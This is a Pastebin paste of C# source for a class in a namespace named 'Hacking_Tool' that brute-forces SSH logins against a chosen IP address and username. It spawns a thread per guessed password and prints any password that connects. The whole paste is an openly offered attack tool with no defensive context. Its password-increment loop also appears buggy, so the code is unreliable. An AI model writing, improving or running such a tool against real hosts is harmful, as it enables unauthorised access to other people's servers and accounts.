Advertisement
Guest User

Untitled

a guest
May 20th, 2018
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.79 KB | None | 0 0
  1. using Renci.SshNet;
  2. using System;
  3. using System.Threading;
  4.  
  5. namespace Hacking_Tool
  6. {
  7.     class BruteForce
  8.     {
  9.         private bool run = true;
  10.         private int counter = 0;
  11.         private string ip;
  12.         private string user;
  13.  
  14.         public BruteForce(string ip, string user)
  15.         {
  16.             this.ip = ip;
  17.             this.user = user;
  18.         }
  19.  
  20.         public void Test(string pw)
  21.         {
  22.             try
  23.             {
  24.                 using (var client = new SshClient(ip, user, pw))
  25.                 {
  26.                     client.Connect();
  27.                     client.Disconnect();
  28.                 }
  29.                 run = false;
  30.                 Console.WriteLine("Password: >" + pw + "<");
  31.             }
  32.             catch (Exception e)
  33.             { }
  34.             finally
  35.             {
  36.                 counter--;
  37.             }
  38.         }
  39.  
  40.         public void Bruteforce()
  41.         {
  42.             char[] pw = { 'r', 'o', 'o', 'A' };
  43.             int modify = pw.Length - 1;
  44.             Thread.CurrentThread.Priority = ThreadPriority.Lowest;
  45.             while (run)
  46.             {
  47.                 var t = new string(pw);
  48.                 counter++;
  49.                 if (counter > 100)
  50.                 {
  51.                     Thread.Sleep(500);
  52.                 }
  53.                 Thread thread = new Thread(() => Test(t));
  54.                 thread.Priority = ThreadPriority.Highest;
  55.                 thread.Start();
  56.  
  57.                 if (modify >= 0 && pw[modify] != 'z')
  58.                 {
  59.                     pw[modify]++;
  60.                 }
  61.                 else
  62.                 {
  63.                     if (modify == -1)
  64.                     {
  65.                         Array.Resize(ref pw, pw.Length + 1);
  66.                         for (int i = 0; i < pw.Length; i++)
  67.                         {
  68.                             pw[i] = 'A';
  69.                         }
  70.                         modify = pw.Length - 1;
  71.                     }
  72.                     else
  73.                     {
  74.                         if (pw[modify] == 'z')
  75.                         {
  76.                             while (modify >= 0 && pw[modify] == 'z')
  77.                             {
  78.                                 pw[modify] = 'A';
  79.                                 modify--;
  80.                             }
  81.                             if (modify != -1)
  82.                             {
  83.                                 pw[modify]++;
  84.                                 for (int i = modify + 1; modify < pw.Length; modify++)
  85.                                 {
  86.                                     pw[i] = 'A';
  87.                                 }
  88.                                 modify--;
  89.                             }
  90.                         }
  91.                     }
  92.                 }
  93.             }
  94.         }
  95.     }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement